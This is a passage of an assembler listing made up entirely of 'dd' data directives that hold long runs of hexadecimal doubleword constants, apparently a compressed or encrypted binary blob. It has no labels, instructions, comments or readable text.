0DD48F8C6h, 0EF0476B0h, 1C1E7A76h dd 0AEA980D0h, 91620C23h, 54F00874h, 0B788D200h, 58243D42h dd 0E21000E8h, 35CB7C4Dh, 78009469h, 77A1867Ah, 205EC7Eh dd 2B33BC87h, 0FE0BF31h, 2A1DDAEFh, 0E7C1F39Ah, 0C38B7258h dd 3CB2B870h, 0A2BE7ADDh, 2FD03881h, 0F5F104h, 0EE4B122Dh dd 0AF7107A7h, 0E025E45Eh, 237920C2h, 3204DC00h, 0A0CA695Ah dd 0D5F70050h, 6833E3D9h, 0DA00392Fh, 708E56A7h, 8526234h dd 3A0863Ch, 0A417E100h, 656777h, 3DEBC3CAh, 4B2A7043h dd 33490B2Ch, 0E3AC0600h, 72FEB566h, 1CCCB0ECh, 40256ED1h dd 81059E7Eh, 10009FAEh, 0EDC69617h, 479CB86h, 0F122AB36h dd 7124C0B4h, 722CE38Dh, 340084A7h, 676F0BBCh, 0EFF501CFh dd 0DA383FBAh, 20A020A8h, 918BB700h, 5D2E335Eh, 0D0C900BFh dd 5BC929Fh, 8200A7C8h, 6D77D837h, 2E1C1D91h, 0FC852AFh dd 0F4C2220Fh, 40604150h, 10003ACDh, 514F6E9Eh, 3EA47695h dd 3680D2D7h, 0F7DAC501h, 0F80B9FD9h, 6A7FB4h, 26390868h dd 55100002h, 210E0D92h, 2A4CCB03h, 0B1BF2818h, 0FB319500h dd 99EAA865h, 0B28A07FAh, 60E3BE26h, 5266D3E9h, 289B7A24h dd 6BD8AF04h, 622DF4A8h, 546A0400h, 94B91AC6h, 8091AE0Fh dd 5E5D10F0h, 175100C4h, 0DF436E34h, 673AF761h, 309287ABh dd 0F440D229h, 3B86D7h, 75F34012h, 36FC961Ch, 8B0038FAh dd 220C9DA2h, 8A6EDBh, 59F3F603h, 0A9A3CD30h, 0B7684B07h dd 8E60229Fh, 0EA84987h, 0B34E4138h, 82CBA4C0h, 2C0037F7h dd 537D4BB7h, 1809AC8h, 0D9E35F8Ch, 7ABF4D62h, 6FFCF480h dd 31EB007Eh, 0C8A86AB4h, 0D41CB307h, 7F40A09Eh, 79822D15h dd 0E4C600C5h, 36E5711Ch, 12007605h, 0F357B583h, 0FCDF6CFh dd 0F232DD6Dh, 27518C00h, 8500A1F7h, 30A659C1h, 95ED19Dh dd 456270E8h, 8673898h, 0E6E3B100h, 0B6052DFDh, 0BE650099h dd 46E7C8C9h, 1001D59h, 6A4FDA96h, 4CCB3Bh, 0D013A79Dh dd 0A6441787h, 7893EDEFh, 0C4F20188h, 0A37B28F4h, 0FE1FFC68h dd 3F43C0CDh, 0D0F69AEFh, 1055C826h, 1CCEAB02h, 7CDA74h dd 8D8315FDh, 0A49A802Eh, 60948E00h, 0AF55F443h, 398C0037h dd 72BD2F93h, 1000F3D8h, 256CEA16h, 69DA8F4h, 60553391h dd 0F200989Eh, 5129952h, 90A7C50Fh, 584F0020h, 782F51BEh dd 0CD00DF64h, 0C48DE713h, 307C53Ch, 4BA03AEFh, 0A4C20573h dd 2437DC0h, 82E6EC27h, 60CC9794h, 0E43375E6h, 3918901Eh dd 6580B0ABh, 0C4173B36h, 0C904A482h, 23571DC3h, 0DCC0D094h dd 0BEDD4599h, 75A61Ch, 0B9E85C1Fh, 0B52E0D62h, 711FD49Ch dd 0CAA3D200h, 71C98B16h, 0FE2A0018h, 5856BE21h, 0F9007B1Fh dd 0B7C7A6Eh, 85CF36h, 6C9F06CDh, 2DA81756h, 98FA1B00h dd 511E0C31h, 4A69E039h, 9C0404ADh, 106B868Dh, 8085D638h dd 90879237h, 1C617A5Eh, 1235083h, 5D9C7627h, 64AAE477h dd 1B020607h, 8CC3FC12h, 7FE4A9CBh, 60E195F4h, 0D897C8C6h dd 3A1D1973h, 0CE09FFC8h, 87708072h, 0B43DFh, 0EEE671CAh dd 0DE45C2FAh, 1FC9CB00h, 0ECB7D1DCh, 6DFB0090h, 40293F0Dh dd 5F006571h, 0F0BEBD79h, 0F4D06291h, 0F7BF8EBh, 2A441BCBh dd 73CAB640h, 550951ACh, 28E041h, 0B3947220h, 22400A1h dd 0DDC5CD95h, 90018C9Eh, 0E6BE8EB2h, 0F1DC52F0h, 9231006Ch dd 2A72B051h, 85007DCCh, 0AFCEC077h, 0BF21D2h, 444BAA8Dh dd 5B2A2C53h, 4E109900h, 0A1A0FB8h, 86EA2CFCh, 40401FE0h dd 0FABA69C3h, 5094B82h, 0F5969Dh, 4D2E806Ch, 5A360063h dd 70A06210h, 3025C17h, 0B8EA5275h, 0F09C6054h, 58E4F586h dd 0E5CB0737h, 0C7BEBA9Bh, 81C230FEh, 77B01DDDh, 0B9768200h dd 0B6ADBCCBh, 78B700CCh, 1ADBFD6Eh, 0F4005F8Bh, 2094871Bh dd 6598B4h, 3BEB476Dh, 7190C9A0h, 0F208A10Eh, 6E862245h dd 7AE4DA7Ch, 2AE44Dh, 0DAF0D29Ch, 20226A14h, 0CEF5DE00h dd 3DF26EBFh, 0E64BC7h, 0CA267CA4h, 0EF03194Bh, 382F4D18h dd 73FFE0CBh, 747873C5h, 7186038Ch, 3A47CCB9h, 78A5480h dd 0E214CDE2h, 5AA8042h, 6D5A756Eh, 72FBA4C0h, 0D6938B4h dd 10B5B203h, 0D2E0BB26h, 0FE0BAB62h, 87717BD5h, 7CC5ED11h dd 0E9799C00h, 1337E97h, 0CBA88B49h, 0FC30A4B7h, 3F0748C9h dd 2FBCC319h, 0F2E0C657h, 1F20DCE9h, 30974795h, 4B793410h dd 4D6B2900h, 0C0C793BEh, 7738B01Eh, 47F5000Fh, 0B479F08Fh dd 498E61Bh, 0D64C6A00h, 0AB2E5B44h, 0C23500CCh, 0CA2D0FDFh dd 2B00C1A4h, 258A3FDEh, 303E12D8h, 0C282FF1h, 0C2006F1Bh dd 9FC84729h, 0E6171FA1h, 15490110h, 0B3721C32h, 2F3DC124h dd 0B08A1805h, 9007B881h, 600A828h, 8DB1C126h, 6F009AC7h dd 0E45FC6F5h, 0E0677539h, 1C142799h, 0B318EFD8h, 0A21834CEh dd 0CF8C00D7h, 87D41E92h, 91004031h, 50128A8Bh, 38C9CC93h dd 8814EF9h, 4DE3C147h, 9910A882h, 3D3D227Eh, 0D9FE800Eh dd 89A00AECh, 69F60016h, 0C2FB2483h, 0F34D8B8Ah, 0A81AC13Ch dd 1BE8B42Fh, 2A38007Eh, 19855037h, 700148FBh, 0A106577Ch dd 1660F790h, 0BD0F01EFh, 292AB9B6h, 0F5422051h, 1F084207h dd 0C08FE296h, 0AC658CB3h, 0EAF49872h, 0B7330060h, 5609409Ah dd 8F07EFD3h, 5F3CA18Bh, 0DA987590h, 0D50C00E1h, 0CBFCF89Ch dd 0F402BE14h, 257BF75Bh, 0B7FAC196h, 0B09AABECh, 0B2650014h dd 49DF043Eh, 8214787Ch, 0EDFFE5h, 21F7359Ah, 7E9B1Dh dd 95AF32A8h, 5AFE053Fh, 381E3338h, 82B8804Dh, 65BFE430h dd 0C8A013E3h, 99540074h, 44D8FFF1h, 6A2A4600h, 0DC68B031h dd 25B10050h, 71F74CAFh, 531E67E8h, 0BC80D0FCh, 39278052h dd 4290540h, 0C0C5F08Eh, 724730BFh, 48DB7303h, 0C74A2C9Eh dd 256D0490h, 266C0092h, 0E67BD268h, 0FF1DB8B1h, 0C408F85h dd 0CDA54F97h, 0B3F3AE4h, 0FD3E4D3Ch, 1810AF00h, 28BA8567h dd 0C01E58h, 0DDBF2AD1h, 6A912C8h, 0CBB422A4h, 0CE0458F8h dd 0DE8A346Fh, 0F4A2BCD4h, 9E18E209h, 920940Eh, 0AA4D752Bh dd 59D92A00h, 0F026F34Bh, 9217051Eh, 83DBC71Ah, 6480964Ch dd 6C070C9Bh, 7F02C05Bh, 18F80079h, 12F86873h, 8EB7F3h dd 0FE70605Ch, 3200B61Dh, 0B1F64E5Ah, 1D443ECh, 0AFE54974h dd 802F8961h, 0AB756896h, 781754FFh, 0F51E655h, 0B7BA8EE2h dd 1C812C20h, 5001C1C0h dd 0B178E5A9h, 0EDD722D5h, 70DCE0F1h, 59170023h, 0E1666250h dd 0E0077AEh, 68E9DA12h, 720CE75Bh, 0E8C20067h, 8BF7EF87h dd 0FFF6DE9Fh, 0DC565203h, 83F9810Eh, 0B549C0C9h, 7C4602C3h dd 0BDA2BC1Eh, 46A6345Eh, 0B0074100h, 13C3EAFh, 0A46B675Dh dd 0DDB59B4Bh, 7213207Ch, 0CC75ED25h, 8BDF0A68h, 0A4E223h dd 6245A8BEh, 0ACE67CFCh, 2AC584Ah, 0CD77BA01h, 2ABEEC8Ch dd 855EF400h, 0EFF57B6Ah, 71125220h, 92013A15h, 76AA3880h dd 0E6BD8B3Bh, 42B6AC1Dh, 1A161480h, 71998h, 0B0E91EAh dd 0AAFF77AFh, 9CF62500h, 0EC30B181h, 0A26C28E0h, 0FCE77390h dd 0D6F04B4h, 878F5544h, 63A9010Ch, 8FBE424h, 1CABD3Bh dd 0FA0EB56h, 5DC87A60h, 66AF00B2h, 0C162BF0Ch, 0EB037CA5h dd 0C8D4B0DBh, 27FFB02Eh, 0A14D0049h, 9D9B8CE8h, 0E9008A82h dd 0F8523881h, 1805975h, 0FFF2C609h, 0E1CB0F34h, 0E8902150h dd 0EC03A29Fh, 0E4E0673Ch, 0B0C7986Ch, 0C9020EC4h, 0B8806D7Bh dd 0C10605C3h, 0C8816660h, 1F47FB7Fh, 1E127EAh, 0DEE5D052h dd 29722061h, 0C3914E00h, 0C44DFFF3h, 0F7732Ah, 44A5B63Ch dd 2E61A61h, 4A63A200h, 2319724Dh, 8D78002Bh, 6DA94B5h dd 71003A61h, 7A881B98h, 31A587h, 4EB8CF67h, 83E60FC0h dd 0F9BD9000h, 7E6446B4h, 6084735Ch, 875E40C8h, 0E81F6838h dd 81F8C582h, 0F8A553EBh, 79D8AE6Ch, 0E52C0047h, 8B4DF3A8h dd 340EEF49h, 40DA8F0Bh, 62298296h, 1E741DEDh, 501FC311h dd 0C4F85E8Ah, 6A002E0Ch, 9D37F2ACh, 71C85BDh, 0A76E12ADh dd 915F40B6h, 0FD0144F4h, 3AFB1668h, 6AD87ED1h, 522F0413h dd 0BC5E8771h, 0FC1901DCh, 740AF969h, 9CCEE4h, 83404E42h dd 7F49FA9Ah, 0E6665503h, 8047BEF8h, 22FFDFCh, 3C09AA89h dd 0FC7EB5CEh, 0E9698300h, 2D171DB6h, 0DCA2A003h, 0D0544BD3h dd 0A1265A00h, 16E186h, 50DB2882h, 0EDAB8DEEh, 7C69E800h dd 91640C04h, 5A0E1D08h, 971ABE3Ah, 4A8060DCh, 0EF093F2Ch dd 5D5F4C00h, 2E7C71DFh, 0CE300217h, 3D7F1BF9h, 0E2C898E0h dd 75E11201h, 0A17EF86h, 0E7B485EAh, 97608B87h, 305C2E68h dd 0F03112FDh, 30E4694h, 40EB51A6h, 2BDFE55Ah, 0D00A3972h dd 4F5DC00h, 5F2AC1AAh, 415738C0h, 99814Fh, 87B96F46h dd 0CA1A2DB0h, 9E83A0Bh, 0C05843D7h, 0F270D2h, 555883A5h dd 6EA43534h, 6CDBD517h, 386F44C0h, 33A4A8A6h, 8A4C4CCFh dd 911F290Eh, 6A6A7C87h, 9C4F0010h, 0DF57BF6Ch, 8B10E407h dd 31C0A7BBh, 607C565Bh, 64C8EEFBh, 610021CFh, 10520ED7h dd 0E4B6071Bh, 355F000Dh, 0FE15917Ch, 6616F2ECh, 23007925h dd 0F4FCE86Eh, 0A509000Dh, 0BF76DC9Bh, 0ED01D698h, 6673C42Dh dd 5470EEBCh, 17570148h, 93DD434Ch, 2859DCDAh, 0A5E51900h dd 474FF4C3h, 489009Dh, 0ACB2A3D3h, 0EE001A2Ah, 81655352h dd 3B211B41h, 25050FCEh, 80349C4Eh, 716D4B9Dh, 456CD800h dd 2241167Eh, 8BEF0504h, 472AD934h, 507967D8h, 0B824CF72h dd 0B816F3Fh, 607C6CDCh, 41A9F4h, 62C7A7DAh, 8E987B9Bh dd 0EEE06E76h, 0E268F11Ch, 337AE680h, 0A66F1Bh, 0F5014349h dd 0E86124BEh, 300DEEEh, 0D2CFB460h, 7B411EA2h, 60066173h dd 0E876E228h, 390388A4h, 0D55387FFh, 1CC3FCh, 71B08320h dd 97926EAAh, 0F3EA7E8h, 70C9FAFAh, 0DB6820CCh, 4CDEA2h dd 325DA877h, 0EF4D0CFEh, 0EC8A5B00h, 0FDA0E0E4h, 18856094h dd 6FB3F426h, 0F04C749h, 40ECD8EAh, 2BA6E1CCh, 0E21063Fh dd 2008902Eh, 23F89Dh, 0D5D67CC5h, 0DDF6E02Bh, 9AEF25h dd 2AB12760h, 688A3ABh, 525BDBE0h, 891F1014h, 7F0343DAh dd 0CBF65390h, 0A17A888Bh, 6B930096h, 0EF3FBF62h, 0E3003285h dd 0CA956070h, 48215Fh, 53D26E1Ch, 95939FFh, 81376F00h dd 9E83A273h, 0D9B400CCh, 0DC1040F9h, 0A000C486h, 7796A72Ch dd 0E4FE027h, 1583818Bh, 3AE4041h, 2A3019Eh, 68BFF0h, 4FD10AFDh dd 59979965h, 7B9D5400h, 58F04E4h, 0D0EF00ACh, 69F4B529h dd 28169AF7h, 5F06E5E3h, 0A2DBAh, 0FB623B41h, 10CCA4F8h dd 971F90EAh, 70C1CFF4h, 94A2FD75h, 3902D9F4h, 0F807E99Fh dd 0F0B045BCh, 9D987E27h, 26D20403h, 0BE739E85h, 33ED0091h dd 0D8F10938h, 4EF6EBACh, 74D31900h, 2CEFA51Fh, 6E5A3002h dd 67093530h, 243C1D7Ch, 3EAC0105h, 8C6AF684h, 17FEF080h dd 100D6658h, 8D704100h, 3A34A947h, 8FF80969h, 0E864AEFh dd 0C60259A3h, 38F4D503h, 0A9BD181Dh, 42364740h, 0F9B4119Eh dd 1BB427Dh, 88F7AE7Dh, 9E0CBD4Ah, 0A1B19362h, 58C48C9Bh dd 0F7B120A5h, 0A9614EB0h, 25AC1C59h, 8BC9801h, 4988A851h dd 1084A669h, 14F46566h, 3C2C8515h, 21FAA04Dh, 1404319Eh dd 0AC0F0ECAh, 7588EF48h, 20959EC4h, 721FD01Ch, 6550AE58h dd 36EB006Bh, 0C5EA3D39h, 35382DDBh, 222C00C9h, 0D19A13D8h dd 583007Fh, 843B97AEh, 900C5566h, 81E39FDBh, 6D8036Ah dd 97BDDA49h, 0BBB7000h, 2C26C3C6h, 6B6407FEh, 2074B188h dd 24AA815Fh, 33E5A000h, 85D161B9h, 2A1C005Eh, 0D6842D15h dd 9300297Dh, 7C04F8DDh, 710CBC3h, 16D22572h, 0C133D4BBh dd 0F0CA1E4Fh, 1A3F2C4Dh, 0EBD100BCh, 0FC313842h, 3DC8A087h dd 0DC45546Ah, 0ACDB0FB2h, 0E9231A9Fh, 95E184E5h, 5439E08Dh dd 3A103D61h, 0C089A679h, 10007A42h, 0FF819DEFh, 93828500h dd 0CB042B7Eh, 5DBD03FBh, 5C30CE10h, 0B1BBC0A5h, 3A28A780h dd 0C088ACAAh, 0BE0154A1h, 62BBDAC1h, 97417CE5h, 0C3E41ED3h dd 0FC9E384Ah, 107C789h, 0F03DB000h, 59030365h, 0CE9FC48Ah dd 1832152Ch, 0FD2ED8A0h, 4AB1003Bh, 23EAAA36h, 66F82C00h dd 789008C6h, 3F61C88h, 855AC0CAh, 47F04811h, 7D76300Fh dd 92F4E0F2h, 0DEFE74h, 0F88E434Ah, 0EE40B0A9h, 62579A00h dd 2966D1D4h, 3171C0E2h, 799D42E4h, 27A9FE0Eh, 0F7682140h dd 0BFC4F238h, 706E020Ah, 2B0D209Eh, 0C1CD9880h, 6F9873E4h dd 64E32700h, 94CAD8A1h, 0B3C01E2h, 8AE982CBh, 4F742077h dd 0BA39AE12h, 8C758407h, 0A458D440h, 6F0200B1h, 7DD0F922h dd 320153A8h, 0F131440Ch, 0C9D42877h, 0ACF406C8h, 0C8B0D1D9h dd 33C3DC0Fh, 83BE73Eh, 9F80FBE4h, 7025E79h, 0A26E4A40h dd 97E2FE9h, 0A5877A36h, 502590B0h, 5DEE8D94h, 8384AD1Ch dd 1149040h, 897772h, 9D1121B2h, 0AAC1E1EDh, 0B0EEB930h dd 3CD03083h, 0B583BE9Bh, 4E5BE5E4h, 4F004050h, 7EF6BD01h dd 0D205A721h, 31E5E841h, 9257AE00h, 182998A8h, 0E7B29B09h dd 0A9CC83F6h, 2C2DC8E4h, 0B0FC004Ch, 72FF3A3Fh, 1C004DB1h dd 4AF3E95Fh, 0F8C03Ch, 9C76B002h, 0DB68F59Eh, 0BF001C76h dd 4C69E6E4h, 0C3171F6h, 0A03439Ah, 821E8E20h, 1F008FCAh dd 2BB777ECh, 0C89B0A80h, 3ADA6802h, 189548AEh, 0CBBC3046h dd 0A1A41F00h, 0E1E70D3Dh, 0FD660FC5h, 27262080h, 6C7840D8h dd 1750D400h, 0C938AB9Fh, 0E60F0635h, 493B9A39h, 0E790BA00h dd 0D4836EA9h, 0A2AC0089h, 80345657h, 463FCA78h, 2D7102DDh dd 0C07942D1h, 7ECC2B1h, 0B42C3D8Bh, 0A4CAA030h, 238F475h dd 0D9E8CF73h, 805D1900h, 0E0BFDAE3h, 40AAB602h, 60212E4Eh dd 1E724F27h, 10AED8Eh, 2C300DEEh, 0A7163005h, 0C073A378h dd 9FB27100h, 24DEAEDAh, 0F74E4E4h, 0D44C25C4h, 0C88D0BE0h dd 1B0760B5h dd 0B228BDEAh, 236B9C70h, 10200F76h, 0CD400E3Eh, 315ED151h dd 1ECC9713h, 25603D00h, 28DC8h, 0DB35BC24h, 0C2A12F18h dd 0BBB6D0FBh, 37CAA300h, 0A6D5BFF8h, 0CBCC0076h, 56F1D16Bh dd 4F004829h, 0A94135E8h, 0FD2BF1Bh, 0BDF8D5F6h, 0B846E6C0h dd 9B001504h, 1A07213Eh, 614CC4A8h, 9E7F98B4h, 99ACE09Fh dd 0C12310C3h, 8D5AC9E5h, 6235D0h, 0A5E80197h, 0E0FC3BC9h dd 24D17D00h, 0D5AD1CFFh, 0A86B00CEh, 698CF594h, 0F61FE920h dd 0ED013EBBh, 466528A5h, 734467E8h, 7A2703A6h, 48774BBCh dd 87D8B2E8h, 0E3D9A900h, 894A4EB5h, 0D35000E8h, 70BB14FEh dd 0E0E8FA71h, 57462300h, 58BF3F98h, 153E40B3h, 3A0F227Ch dd 56EA92h, 0F9745B5Dh, 0F1F1F1Dh, 0D2DD24h, 2C73D484h dd 27009920h, 0B8599BDFh, 0E5101F07h, 8FC3DCh, 0E2F14AD4h dd 0A7EE31AAh, 0E762CC00h, 0ADC3F40h, 0A4C200D7h, 0ED336C05h dd 5A008EFEh, 37FB39B1h, 3135B9h, 0D9A56F3Bh, 40F7810Eh dd 5978E314h, 0CAE900C8h, 0E85C683Ch, 0FF271390h, 53580EAAh dd 0B3FD8460h, 4C7A3489h, 95669B00h, 0EEF12028h, 0EB9707FFh dd 0D0B4AB6Bh, 0AEFB1D40h, 67F71F00h, 99A170AAh, 167C82h dd 2FCB27Bh, 22E12410h, 0A260E400h, 3E6ED42Bh, 7D0FE54h dd 974B3C46h, 4857E0A0h, 0DA005B2Ch, 0CC4E844Dh, 9E5A2Bh dd 9925F568h, 0E989E66Eh, 3B8B0802h, 405642C5h, 0FAAAA2h dd 0ABE52227h, 5237C10h, 7B8CF00Fh, 0BC1C04Eh, 2E7391BBh dd 34E55Fh, 756FF7CEh, 0D700618Bh, 0C8D15D60h, 9D53D3h dd 0F52A4A3Dh, 313ADA70h, 0E9AC38h, 41215F5Ah, 723C3FF3h dd 877523h, 8CBC72A3h, 8B60986h, 0EED6A600h, 85839575h dd 5C0A038Bh, 0BA2346D4h, 0ADCF2780h, 264B5807h, 0B5A0379Ch dd 1C0170CEh, 80F30DA8h, 1BDEE6F8h, 2900BED3h, 0B6956AB8h dd 7BB90D5h, 363A74E2h, 1514104Dh, 8700A8CDh, 0B5EA4730h dd 180F4C8Ah, 183658BCh, 0D600B9C3h, 4E024D88h, 67867Dh dd 9F48E6A3h, 8241EDD5h, 441ADA01h, 97AFB07Eh, 58A5C8C3h dd 9EA20043h, 0D3522D94h, 0B8007B08h, 4D506859h, 0A0ABE4F0h dd 0A866D4h, 478FCD35h, 93E958D5h, 735A0F00h, 536BF998h dd 0A880013Eh, 511C717Bh, 0F0F6D888h, 0B81D0300h, 0F4C94CF9h dd 6F79CFh, 91A41820h, 2D25ECFBh, 8549501h, 0EF87F2B5h dd 59C8A0FBh, 6EB71D5Ch, 5D2480D7h, 0D8B9B158h, 2C043Eh dd 73BE1E05h, 396751Dh, 49830871h, 79B00DBBh, 4D018B37h dd 0D9052DABh, 3120983Ah, 0FDA83994h, 0D0486300h, 8E886965h dd 530083F6h, 68233B59h, 509290h, 604855C5h, 0E8EF8EA3h dd 41313D01h, 0CCB1CBEDh, 0AF8570h, 930956B9h, 39DEE835h dd 0EF59AA00h, 0B40AA548h, 3B6200C8h, 8FCC1E60h, 1D00C09Dh dd 0C7A05798h, 1F06B865h, 40E324D5h, 0AB05260Ch, 2F00C491h dd 0D115C5ADh, 0E2BD76h, 20EC4967h, 712DF977h, 19ABD503h dd 0A388E98Ah, 0CD18F066h, 7AF0E6Fh, 0B1C0B640h, 55D2AC47h dd 30C6A00h, 7BB88587h, 0E409006Eh, 0C67550DEh, 0B9008B2Fh dd 0FE1E017Dh, 73EA8C06h, 46D7000Ah, 54CD4D51h, 0EE00892Ah dd 5A8496F8h, 78F2E89Dh, 0C9EC00DBh, 9399E62Eh, 142AF68Ch dd 7B00A45Fh, 913F02EDh, 190155h, 0D2FF477Fh, 0BF8B6909h dd 1D635D07h, 9C835172h, 0E1B0D0D8h, 5F600090h, 47963265h dd 0A80017EDh, 0BDF1D5F3h, 32F73D9h, 0B76816E8h, 1D8BE0CDh dd 0CCB843C0h, 0B1C32500h, 733ACFCh, 168912B6h, 0F5430161h dd 876CC975h, 0E73BAB20h, 152FE03Eh, 0FEFF5Dh, 90F1A27Eh dd 8345F976h, 36505B00h, 30EC7531h, 7BF30035h, 6507C406h dd 100BC21h, 0AF5E7815h, 48D9F8h, 0C6D3B551h, 4EE09FF6h dd 0A03C1AE0h, 795B80F7h, 9585E988h, 477700FEh, 59DD0B70h dd 0C80B692Ch, 6405CEh, 512A73B8h, 0B0E907CDh, 901B0414h dd 31C2565h, 0D6744B0Bh, 4095D27h, 0F316400h, 50008648h dd 0D97644DFh, 0F7B9FFh, 0A782E5D0h, 7AB7BC83h, 0AB019470h dd 589D95D3h, 4EE8DB1Bh, 98180FA6h, 47607E1Fh, 7FD5C8C3h dd 111E8300h, 0FB488F6Fh, 333A00EBh, 0E29135BFh, 3800B7D5h dd 9DC67D08h, 114D2Bh, 0A33ACA12h, 0A7F8E392h, 4E01E8E4h dd 0DCAA28B3h, 3E3BB81h, 461E52F8h, 28009F2Ah, 1F619B20h dd 7D8AA19h, 6D204B6h, 30F57754h, 0E683E30Ch, 2CDAB03h dd 0B0D7F421h, 89716Ah, 0E55FD4Bh, 5FE3FAC9h, 0A19E3600h dd 9695B973h, 0CFB6002Eh, 0FE8F1BCAh, 0BD48D330h, 0EEF30E8Ah dd 0ED01175Ah, 3C4E6092h, 5E30E0D9h, 407400D5h, 12B0E258h dd 9000938Ah, 18CCFA7Ch, 0B50F49h, 0EA17F832h, 4765EBC4h dd 0F2DDD700h, 5ADF83CDh, 0E7FC6Eh, 259273FCh, 1DCC9A7h dd 0A8F9400h, 0BE33E35Bh, 0FB98008Ch, 0A774BBBAh, 9507B5F3h dd 9C3D76AAh, 53CD7E80h, 886600DBh, 3332B18Ch, 0F307E4D0h dd 0F4CF40E9h, 48684C0h, 7CA316B2h, 0EB1F0079h, 49900E41h dd 82BF5603h, 0D0947D72h, 1E6B135h, 0B89ABCA2h, 301E4752h dd 7C00FAD6h, 547BC272h, 82C11Fh, 46521570h, 0D52C3756h dd 3F34980Fh, 0C74940B9h, 434ECBh, 0C828AF26h, 7635B00Ah dd 8097863Eh, 778FCE6Eh, 72B72196h, 954F1F16h, 0C12A1E8Eh dd 29A056CBh, 9032DAh, 8919F327h, 0B5053Ah, 56D03844h dd 0D2CE349h, 421AD300h, 1FC799B0h, 93D102C8h, 8EAFC912h dd 19CFAFC0h, 28A50126h, 0A9A8000h, 1E96056h, 0F692712Bh dd 8331C7A4h, 298A792Eh, 7CD1D1A0h, 17821085h, 6080C085h dd 2C584F9Fh, 5151DE5h, 0AA41545Fh, 25356983h, 0E7E4830h dd 9ECBB69Ch, 0DA79D0D8h, 0A5071E00h, 0D86B4997h, 883D60D3h dd 57DE0C36h, 857D5900h, 6A34829Eh, 80554E65h, 0DEDAB49Dh dd 43B01E00h, 2763AA9Dh, 207C01CCh, 22759FDFh, 8EB760BDh dd 0AC9ECA05h, 1F80D2C7h, 0F77BE8h, 2FC56675h, 93E3E96Dh dd 0E20E5CE4h, 0A067A5A0h, 0F00164F5h, 147135h, 0D8FB87B4h dd 0D3BF3C8Ah, 810E0ECEh, 0D7663260h, 0B691080h, 719AE6ACh dd 0DF9EC300h, 73C15025h, 0FD910016h, 1BF315FCh, 0B500D7EEh dd 6D5DB6A9h, 0A0FBD9h, 669F986Ch, 0E01550EFh, 0DBF4AD03h dd 0C0BC7E88h, 7A7A549h, 39B36A46h, 9C7A21h, 0B6536377h dd 54031ADDh, 0FAE35550h, 0A0AE97FDh, 0C06DCEDCh, 8D2500CFh dd 0F7CCDB21h, 54012392h, 0E328958Ch, 0E7F8125Dh, 5AA50057h dd 0AD715F32h, 37FABAD0h, 9D743F00h, 9BAA6F26h, 55700050h dd 0FE240AE9h, 5C006AA9h, 3329B844h, 78A85Eh, 0CAB63437h dd 13609B5Dh, 368B2814h, 0DE621ED4h, 0BB9A4040h, 1C8DF72Dh dd 0EAFAECDh, 338022ACh, 809378C5h, 0BF8FD600h, 8ED961CFh dd 5B600F6h, 9F9471FDh, 0A3000B49h, 0A8F39DC5h, 39032C4h dd 0FC94E6Ah, 0E4A05CF8h, 0EA03FC1Bh, 44C59CE9h, 0A127A1E5h dd 0B8CA65F8h, 8DD20058h, 83629194h, 3D015BCDh, 22AADB5Ah dd 63F416EDh, 5BD4CDDh, 8B1A0778h, 0F719929Eh, 89E18EA7h dd 0F866E902h, 0F517A377h, 0A800C607h, 884FD4C0h, 0AB841D89h dd 0E0C340A9h, 23298174h, 76309472h, 985440EEh, 44911C37h dd 0CF1600D5h, 71725635h, 3996848h, 2288D41Ch, 0F971008Dh dd 0A9F0DD24h, 2F00D73Ch, 0DCE5BE38h, 37C8ED5Ch, 60295A23h dd 6318876Dh, 832B370Bh, 0D0AA807Ch, 0DC4AA8h, 9CC64CBBh dd 2CD6AD3Bh, 0F4E6D00h dd 97E2FDACh, 0F0CA50AAh, 0D77F1F4Ch, 6B2640AFh, 8AB4533h dd 0DCBE9500h, 76DAD907h, 0C1CF00B8h, 16EEEC7Dh, 5F76973Fh dd 0AC573800h, 0F265098Fh, 67E71BBh, 849CB35h, 0C848112Eh dd 0A28D00FAh, 259F6552h, 80CA3E61h, 0E5FB7B00h, 0B00E5376h dd 0BBAEBA1Dh, 0A3174C80h, 0B2BEFFh, 3C1B3D02h, 0D80338C6h dd 6D1FFE00h, 0C72DB763h, 967648h, 0C167418Dh, 0A9AD4975h dd 0DE9E150Fh, 0FE36A039h, 61514Dh, 487688AFh, 873FF5CAh dd 20B90729h, 0C3245660h, 25364480h, 0AE1CDF06h, 1D887950h dd 83E9D722h, 0D0CE7407h, 0C0AF57C3h, 0E0FA986Fh, 49768601h dd 0A4E1B275h, 0DA194200h, 0D8687003h, 9A9364AEh, 178A609Fh dd 0EC9D073Dh, 0E079B56Dh, 579A4104h, 7767120Eh, 27AF8464h dd 0C2759E81h, 8C5BC8h, 6EE617EBh, 147895CAh, 28821B30h dd 92FAD9h, 96139DDDh, 1AA1D3EFh, 407DA300h, 56648037h dd 0D763183Dh, 225C8C7h, 6D3B0400h, 0FFDBE575h, 184C7684h dd 0B9C7B6C3h, 9B3EA3E6h, 41D281D0h, 0BE7AEE4Eh, 6080B2E2h dd 2B23BCCCh, 41809933h, 80EFC617h, 0CD9DE9A8h, 5457F43h dd 890DD8A9h, 7EF040D0h, 0FDC22B2h, 5200BDE8h, 0AF3F569Eh dd 14863474h, 0B467E3C2h, 0F2A7C900h, 1EF0D646h, 0B3A0CD00h dd 0AC39230Fh, 0F51C0287h, 2420DF91h, 0E0182440h, 5357ED0Ah dd 0C75820CFh, 500D43C3h, 0CC003A30h, 17BBA682h, 0A08AB71Dh dd 4024CFD0h, 0D951749Fh, 39040C2h, 67058095h, 879E4869h dd 0F6B0DC41h, 157049CCh, 1A5E0041h, 0B77517A6h, 0CE00E891h dd 2D1804ABh, 1B05670h, 98F9811Fh, 876BEEB3h, 11D57D40h dd 0BB0CDCBAh, 4179A6h, 471BA4A5h, 654DF69Eh, 801DED04h dd 7080664Eh, 34A8Ah, 5AF33E92h, 5DB9A6E8h, 0D02FC00h dd 3A20A4BEh, 9AEA0F7Fh, 31A0D7D5h, 3062D1D9h, 512CAD12h dd 4F2D1441h, 45F4576Fh, 0F1FE236h, 0B1AFA865h, 0D5FFCAA0h dd 3B1725C3h, 1500EB10h, 0EF589A70h, 0FDB30094h, 309937C4h dd 400F333h, 359B036Ch, 6934077h, 2AA13F85h, 0F20168AFh dd 0C9ECB3D1h, 9A415412h, 3CDCEDB6h, 5D140077h, 6CCEC3CAh dd 6405F259h, 0ADCF01E6h, 0EBFF8400h, 7E5F12Eh, 732D7B92h dd 4A06020h, 0F61C5433h, 0C0057B1h, 5F443745h, 0F46A000Bh dd 2AE62207h, 5C00201Ah, 32F5B9Ah, 79A716h, 8E6AABA1h dd 9B173FAAh, 14306700h, 4E2B98CAh, 63727Ah, 73207DC4h dd 5A89C727h, 